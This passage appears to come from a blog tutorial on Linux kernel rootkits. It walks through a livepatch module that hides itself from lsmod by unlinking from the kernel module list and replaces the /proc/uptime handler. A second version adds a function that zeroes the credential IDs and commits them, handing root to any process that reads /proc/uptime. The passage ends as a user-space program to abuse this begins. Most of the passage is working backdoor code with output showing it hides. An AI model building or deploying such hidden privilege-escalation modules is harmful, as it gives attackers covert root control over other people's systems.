<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> You could think that, there must be a list for that right? Yeah, your guess is right.
    xcellerator explained the doubly-linked lists in his blog 
    <a href="https://xcellerator.github.io/posts/linux_rootkits_05/"> (Linked Lists in the Kernel)</a>.
    If we look the source code of module.h, <strong>module</strong> struct has <strong> list_head</strong> struct.
    It has prev and next nodes, which is best way to track loaded modules.
    This struct looks like this;
</p>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cp">#define LIST_HEAD_INIT(name) { &amp;(name), &amp;(name) }</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="cp">#define LIST_HEAD(name) \</span>
</div></li><li><div class="line"><span class="cp">    struct list_head name = LIST_HEAD_INIT(name)</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">INIT_LIST_HEAD</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">list</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">list</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">list</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="n">list</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">list</span><span class="p">;</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li></ol></pre></div>

<a href="https://github.com/torvalds/linux/blob/master/include/linux/module.h#L358">struct module line: 358 github link</a>
<a href="https://github.com/torvalds/linux/blob/master/tools/include/linux/list.h#L20"> LIST_HEAD(name) line: 20 github link</a>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">
    It means, while loading our module, we have to get the real list then remove our module from this list.
    Important thing is, we must keep a copy of what we removed from that list to add it back later when we want.
    Try to understand the code below. 
</p>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cp">#define pr_fmt(fmt) KBUILD_MODNAME &quot;: &quot; fmt</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/livepatch.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/seq_file.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">prev_module</span><span class="p">;</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="kt">void</span> <span class="nf">show_the_module_again</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="cm">/* add the module again the loaded modules list */</span>
</div></li><li><div class="line">    <span class="n">list_add</span><span class="p">(</span><span class="o">&amp;</span><span class="n">THIS_MODULE</span><span class="o">-&gt;</span><span class="n">list</span><span class="p">,</span> <span class="n">prev_module</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="kt">void</span> <span class="nf">hide_this_module</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="cm">/* There will be a loaded module when we are loading ourselves.</span>
</div></li><li><div class="line"><span class="cm">        * We must save our previous module to get back in the same place again.</span>
</div></li><li><div class="line"><span class="cm">        * */</span>
</div></li><li><div class="line">    <span class="n">prev_module</span> <span class="o">=</span> <span class="n">THIS_MODULE</span><span class="o">-&gt;</span><span class="n">list</span><span class="p">.</span><span class="n">prev</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="cm">/* say goodbye! */</span>
</div></li><li><div class="line">    <span class="n">list_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">THIS_MODULE</span><span class="o">-&gt;</span><span class="n">list</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">int</span> <span class="nf">livepatch_uptime_proc_show</span><span class="p">(</span><span class="k">struct</span> <span class="n">seq_file</span> <span class="o">*</span><span class="n">m</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">v</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">seq_printf</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="s">&quot;%s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="s">&quot;i stole your uptime! no uptime information for you. feck off...&quot;</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_func</span> <span class="n">funcs</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">{</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">old_name</span> <span class="o">=</span> <span class="s">&quot;uptime_proc_show&quot;</span><span class="p">,</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">new_func</span> <span class="o">=</span> <span class="n">livepatch_uptime_proc_show</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">},</span> <span class="p">{</span> <span class="p">}</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_object</span> <span class="n">objs</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">{</span>
</div></li><li><div class="line">        <span class="cm">/* name being NULL means vmlinux */</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">funcs</span> <span class="o">=</span> <span class="n">funcs</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">},</span> <span class="p">{</span> <span class="p">}</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_patch</span> <span class="n">patch</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">.</span><span class="n">mod</span> <span class="o">=</span> <span class="n">THIS_MODULE</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">.</span><span class="n">objs</span> <span class="o">=</span> <span class="n">objs</span><span class="p">,</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">int</span> <span class="nf">livepatch_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">hide_this_module</span><span class="p">();</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="n">klp_enable_patch</span><span class="p">(</span><span class="o">&amp;</span><span class="n">patch</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">void</span> <span class="nf">livepatch_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line"><span class="n">module_init</span><span class="p">(</span><span class="n">livepatch_init</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">module_exit</span><span class="p">(</span><span class="n">livepatch_exit</span><span class="p">);</span>
</div></li><li><div class="line"><span class="cm">/*</span>
</div></li><li><div class="line"><span class="cm">* can be seen in modinfo example.ko</span>
</div></li><li><div class="line"><span class="cm">*/</span>
</div></li><li><div class="line"><span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">&quot;GPL&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">&quot;UNLEASHED&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">&quot;A E S T H E T I C    M O  D U L E&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_VERSION</span><span class="p">(</span><span class="s">&quot;42.69&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_INFO</span><span class="p">(</span><span class="n">livepatch</span><span class="p">,</span> <span class="s">&quot;Y&quot;</span><span class="p">);</span>
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">
    Let's compile and install the module and see if it is in <strong>lsmod</strong> output.
</p>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="err">$</span> <span class="n">cat</span> <span class="o">/</span><span class="n">proc</span><span class="o">/</span><span class="n">uptime</span>
</div></li><li><div class="line"><span class="n">i</span> <span class="n">stole</span> <span class="n">your</span> <span class="n">uptime</span><span class="o">!</span> <span class="n">no</span> <span class="n">uptime</span> <span class="n">information</span> <span class="k">for</span> <span class="n">you</span><span class="p">.</span> <span class="n">feck</span> <span class="n">off</span><span class="p">...</span>
</div></li><li><div class="line"><span class="err">$</span> <span class="n">lsmod</span> <span class="o">|</span> <span class="n">grep</span> <span class="o">-</span><span class="n">i</span> <span class="n">livepatch</span>
</div></li><li><div class="line"><span class="err">$</span>
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">Yeah, we completely changed internal behaviours somehow and hide it successfully. 
    Warning! If your module is a live patch, it will appear in <strong>dmesg</strong>.
</p>
<h2 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;">Need something more powerful than this</h2>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> These examples are really not doing so much other than jokes. 
    We need something more related with unintended privilege escalations.
    Before diving that area we must know <strong>system("/bin/bash", NULL, NULL)</strong>
    equivalent of kernel mode. These are <strong>commit_creds()</strong> and <strong>prepare_creds()</strong>
</p>
<a href="https://github.com/torvalds/linux/blob/master/kernel/cred.c#L237">prepare_creds on line:237 github link</a>
<a href="https://github.com/torvalds/linux/blob/master/kernel/cred.c#L424">commit_creds on line:437 github link</a>

<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cm">/* Definition from cred.c</span>
</div></li><li><div class="line"><span class="cm">    *  prepare_creds - Prepare a new set of credentials for modification</span>
</div></li><li><div class="line"><span class="cm">    * Prepare a new set of task credentials for modification.  A task&#39;s creds</span>
</div></li><li><div class="line"><span class="cm">    * shouldn&#39;t generally be modified directly, therefore this function is used to</span>
</div></li><li><div class="line"><span class="cm">    * prepare a new copy, which the caller then modifies and then commits by</span>
</div></li><li><div class="line"><span class="cm">    * calling commit_creds().</span>
</div></li><li><div class="line"><span class="cm">    * returns struct cred*</span>
</div></li><li><div class="line"><span class="cm">    */</span>
</div></li><li><div class="line">    <span class="p">...</span>
</div></li><li><div class="line">    <span class="p">...</span> 
</div></li><li><div class="line">    <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">new</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="p">...</span> 
</div></li><li><div class="line">    <span class="n">validate_creds</span><span class="p">(</span><span class="n">new</span><span class="p">);</span>
</div></li><li><div class="line">	<span class="k">return</span> <span class="n">new</span><span class="p">;</span>
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> What is this struct cred? It's also defined in include/linux/cred.h line: 111</p>
<a href="https://github.com/torvalds/linux/blob/master/include/linux/cred.h#111">cred.h github link</a>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="k">struct</span> <span class="n">cred</span> <span class="p">{</span>
</div></li><li><div class="line">        <span class="n">atomic_t</span>	<span class="n">usage</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="cp">#ifdef CONFIG_DEBUG_CREDENTIALS</span>
</div></li><li><div class="line">        <span class="n">atomic_t</span>	<span class="n">subscribers</span><span class="p">;</span>	<span class="cm">/* number of processes subscribed */</span>
</div></li><li><div class="line">        <span class="kt">void</span>		<span class="o">*</span><span class="n">put_addr</span><span class="p">;</span>
</div></li><li><div class="line">        <span class="kt">unsigned</span>	<span class="n">magic</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="cp">#define CRED_MAGIC	0x43736564</span>
</div></li><li><div class="line">    <span class="cp">#define CRED_MAGIC_DEAD	0x44656144</span>
</div></li><li><div class="line">    <span class="cp">#endif</span>
</div></li><li><div class="line">        <span class="n">kuid_t</span>		<span class="n">uid</span><span class="p">;</span>		<span class="cm">/* real UID of the task */</span>
</div></li><li><div class="line">        <span class="n">kgid_t</span>		<span class="n">gid</span><span class="p">;</span>		<span class="cm">/* real GID of the task */</span>
</div></li><li><div class="line">        <span class="n">kuid_t</span>		<span class="n">suid</span><span class="p">;</span>		<span class="cm">/* saved UID of the task */</span>
</div></li><li><div class="line">        <span class="n">kgid_t</span>		<span class="n">sgid</span><span class="p">;</span>		<span class="cm">/* saved GID of the task */</span>
</div></li><li><div class="line">        <span class="n">kuid_t</span>		<span class="n">euid</span><span class="p">;</span>		<span class="cm">/* effective UID of the task */</span>
</div></li><li><div class="line">        <span class="n">kgid_t</span>		<span class="n">egid</span><span class="p">;</span>		<span class="cm">/* effective GID of the task */</span>
</div></li><li><div class="line">        <span class="n">kuid_t</span>		<span class="n">fsuid</span><span class="p">;</span>		<span class="cm">/* UID for VFS ops */</span>
</div></li><li><div class="line">        <span class="n">kgid_t</span>		<span class="n">fsgid</span><span class="p">;</span>		<span class="cm">/* GID for VFS ops */</span>
</div></li><li><div class="line">        <span class="kt">unsigned</span>	<span class="n">securebits</span><span class="p">;</span>	<span class="cm">/* SUID-less security management */</span>
</div></li><li><div class="line">        <span class="n">kernel_cap_t</span>	<span class="n">cap_inheritable</span><span class="p">;</span> <span class="cm">/* caps our children can inherit */</span>
</div></li><li><div class="line">        <span class="n">kernel_cap_t</span>	<span class="n">cap_permitted</span><span class="p">;</span>	<span class="cm">/* caps we&#39;re permitted */</span>
</div></li><li><div class="line">        <span class="n">kernel_cap_t</span>	<span class="n">cap_effective</span><span class="p">;</span>	<span class="cm">/* caps we can actually use */</span>
</div></li><li><div class="line">        <span class="n">kernel_cap_t</span>	<span class="n">cap_bset</span><span class="p">;</span>	<span class="cm">/* capability bounding set */</span>
</div></li><li><div class="line">        <span class="n">kernel_cap_t</span>	<span class="n">cap_ambient</span><span class="p">;</span>	<span class="cm">/* Ambient capability set */</span>
</div></li><li><div class="line">    <span class="cp">#ifdef CONFIG_KEYS</span>
</div></li><li><div class="line">        <span class="kt">unsigned</span> <span class="kt">char</span>	<span class="n">jit_keyring</span><span class="p">;</span>	<span class="cm">/* default keyring to attach requested</span>
</div></li><li><div class="line"><span class="cm">                         * keys to */</span>
</div></li><li><div class="line">        <span class="k">struct</span> <span class="n">key</span>	<span class="o">*</span><span class="n">session_keyring</span><span class="p">;</span> <span class="cm">/* keyring inherited over fork */</span>
</div></li><li><div class="line">        <span class="k">struct</span> <span class="n">key</span>	<span class="o">*</span><span class="n">process_keyring</span><span class="p">;</span> <span class="cm">/* keyring private to this process */</span>
</div></li><li><div class="line">        <span class="k">struct</span> <span class="n">key</span>	<span class="o">*</span><span class="n">thread_keyring</span><span class="p">;</span> <span class="cm">/* keyring private to this thread */</span>
</div></li><li><div class="line">        <span class="k">struct</span> <span class="n">key</span>	<span class="o">*</span><span class="n">request_key_auth</span><span class="p">;</span> <span class="cm">/* assumed request_key authority */</span>
</div></li><li><div class="line">    <span class="cp">#endif</span>
</div></li><li><div class="line">    <span class="cp">#ifdef CONFIG_SECURITY</span>
</div></li><li><div class="line">        <span class="kt">void</span>		<span class="o">*</span><span class="n">security</span><span class="p">;</span>	<span class="cm">/* subjective LSM security */</span>
</div></li><li><div class="line">    <span class="cp">#endif</span>
</div></li><li><div class="line">        <span class="k">struct</span> <span class="n">user_struct</span> <span class="o">*</span><span class="n">user</span><span class="p">;</span>	<span class="cm">/* real user ID subscription */</span>
</div></li><li><div class="line">        <span class="k">struct</span> <span class="n">user_namespace</span> <span class="o">*</span><span class="n">user_ns</span><span class="p">;</span> <span class="cm">/* user_ns the caps and keyrings are relative to. */</span>
</div></li><li><div class="line">        <span class="k">struct</span> <span class="n">group_info</span> <span class="o">*</span><span class="n">group_info</span><span class="p">;</span>	<span class="cm">/* supplementary groups for euid/fsgid */</span>
</div></li><li><div class="line">        <span class="cm">/* RCU deletion */</span>
</div></li><li><div class="line">        <span class="k">union</span> <span class="p">{</span>
</div></li><li><div class="line">            <span class="kt">int</span> <span class="n">non_rcu</span><span class="p">;</span>			<span class="cm">/* Can we skip RCU deletion? */</span>
</div></li><li><div class="line">            <span class="k">struct</span> <span class="n">rcu_head</span>	<span class="n">rcu</span><span class="p">;</span>		<span class="cm">/* RCU deletion hook */</span>
</div></li><li><div class="line">        <span class="p">};</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> So it means if we set manually this struct's various privileges to <strong>zero</strong> in our module. 
    Maybe we can carry this privilege to userland and get root in a unintended way.
</p>
<h3 style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color:aquamarine;">Preparation</h3>
<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;">
    Let's write our function that prepares these steps.
</p>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="kt">void</span> <span class="nf">escalate_me</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="c1">// define mentioned struct above</span>
</div></li><li><div class="line">    <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">root_privileges</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="c1">// when we call prepare_creds like this the function returns the current privileges;</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span> <span class="o">=</span> <span class="n">prepare_creds</span><span class="p">();</span>
</div></li><li><div class="line">    
</div></li><li><div class="line">    <span class="c1">// if something is bad, directly exit from this function</span>
</div></li><li><div class="line">    <span class="k">if</span><span class="p">(</span><span class="n">root_privileges</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
</div></li><li><div class="line">
</div></li><li><div class="line">    <span class="c1">// let&#39;s change related privileges to zero</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">uid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">gid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">euid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">egid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">suid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">sgid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">fsuid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">fsgid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line">
</div></li><li><div class="line">    <span class="c1">// commit privileged prepared credentials to calling process</span>
</div></li><li><div class="line">    <span class="n">commit_creds</span><span class="p">(</span><span class="n">root_privileges</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> For the lulz, let's give that privileges whoever does <strong>cat /proc/uptime</strong>. 
    Yeah whyyy not? hahahah! The new module is below.
</p>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cp">#define pr_fmt(fmt) KBUILD_MODNAME &quot;: &quot; fmt</span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/version.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/livepatch.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;linux/seq_file.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="kt">void</span> <span class="nf">escalate_me</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="c1">// define mentioned struct above</span>
</div></li><li><div class="line">    <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">root_privileges</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="c1">// when we call prepare_creds like this the function returns the current privileges;</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span> <span class="o">=</span> <span class="n">prepare_creds</span><span class="p">();</span>
</div></li><li><div class="line">    
</div></li><li><div class="line">    <span class="c1">// if something is bad, directly exit from this function</span>
</div></li><li><div class="line">    <span class="k">if</span><span class="p">(</span><span class="n">root_privileges</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
</div></li><li><div class="line">
</div></li><li><div class="line">    <span class="c1">// let&#39;s change related privileges to zero</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">uid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">gid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">euid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">egid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">suid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">sgid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line">    <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">fsuid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="n">root_privileges</span><span class="o">-&gt;</span><span class="n">fsgid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line">
</div></li><li><div class="line">    <span class="c1">// commit privileged prepared credentials to calling process</span>
</div></li><li><div class="line">    <span class="n">commit_creds</span><span class="p">(</span><span class="n">root_privileges</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">int</span> <span class="nf">livepatch_uptime_proc_show</span><span class="p">(</span><span class="k">struct</span> <span class="n">seq_file</span> <span class="o">*</span><span class="n">m</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">v</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="n">seq_printf</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="s">&quot;%s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="s">&quot;i stole your uptime! no uptime information for you. feck off...&quot;</span><span class="p">);</span>
</div></li><li><div class="line">    <span class="n">escalate_me</span><span class="p">();</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_func</span> <span class="n">funcs</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">{</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">old_name</span> <span class="o">=</span> <span class="s">&quot;uptime_proc_show&quot;</span><span class="p">,</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">new_func</span> <span class="o">=</span> <span class="n">livepatch_uptime_proc_show</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">},</span> <span class="p">{</span> <span class="p">}</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_object</span> <span class="n">objs</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">{</span>
</div></li><li><div class="line">        <span class="cm">/* name being NULL means vmlinux */</span>
</div></li><li><div class="line">        <span class="p">.</span><span class="n">funcs</span> <span class="o">=</span> <span class="n">funcs</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">},</span> <span class="p">{</span> <span class="p">}</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="k">struct</span> <span class="n">klp_patch</span> <span class="n">patch</span> <span class="o">=</span> <span class="p">{</span>
</div></li><li><div class="line">    <span class="p">.</span><span class="n">mod</span> <span class="o">=</span> <span class="n">THIS_MODULE</span><span class="p">,</span>
</div></li><li><div class="line">    <span class="p">.</span><span class="n">objs</span> <span class="o">=</span> <span class="n">objs</span><span class="p">,</span>
</div></li><li><div class="line"><span class="p">};</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">int</span> <span class="nf">livepatch_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line">    <span class="k">return</span> <span class="n">klp_enable_patch</span><span class="p">(</span><span class="o">&amp;</span><span class="n">patch</span><span class="p">);</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="k">static</span> <span class="kt">void</span> <span class="nf">livepatch_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</div></li><li><div class="line"><span class="p">{</span>
</div></li><li><div class="line"><span class="p">}</span>
</div></li><li><div class="line"><span class="n">module_init</span><span class="p">(</span><span class="n">livepatch_init</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">module_exit</span><span class="p">(</span><span class="n">livepatch_exit</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">&quot;GPL&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">&quot;UNLEASHED&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">&quot;A E S T H E T I C    M O  D U L E&quot;</span><span class="p">);</span>
</div></li><li><div class="line"><span class="n">MODULE_VERSION</span><span class="p">(</span><span class="s">&quot;42.69&quot;</span><span class="p">);</span>
</div></li></ol></pre></div>

<p style="font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;color: antiquewhite;"> The important thing is, we must use the same process after reading uptime.
    The module commiting the privileges after reading <strong>/proc/uptime</strong>. 
    Let's create a user program that abuses this.
</p>
<div class="highlight"><pre><span></span><ol><li><div class="line"><span class="cm">/*</span>
</div></li><li><div class="line"><span class="cm">* for the lulz</span>
</div></li><li><div class="line"><span class="cm">* author: echel0n</span>
</div></li><li><div class="line"><span class="cm">*</span>
</div></li><li><div class="line"><span class="cm">*/</span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line"><span class="cp">#include</span> <span class="cpf">&lt;assert.h&gt;</span><span class="cp"></span>
</div></li><li><div class="line">
</div></li><li><div class="line"><span class="cp">#define FILENAME &quot;/proc/uptime&quot;</span>
</div></li><li><div class="line">
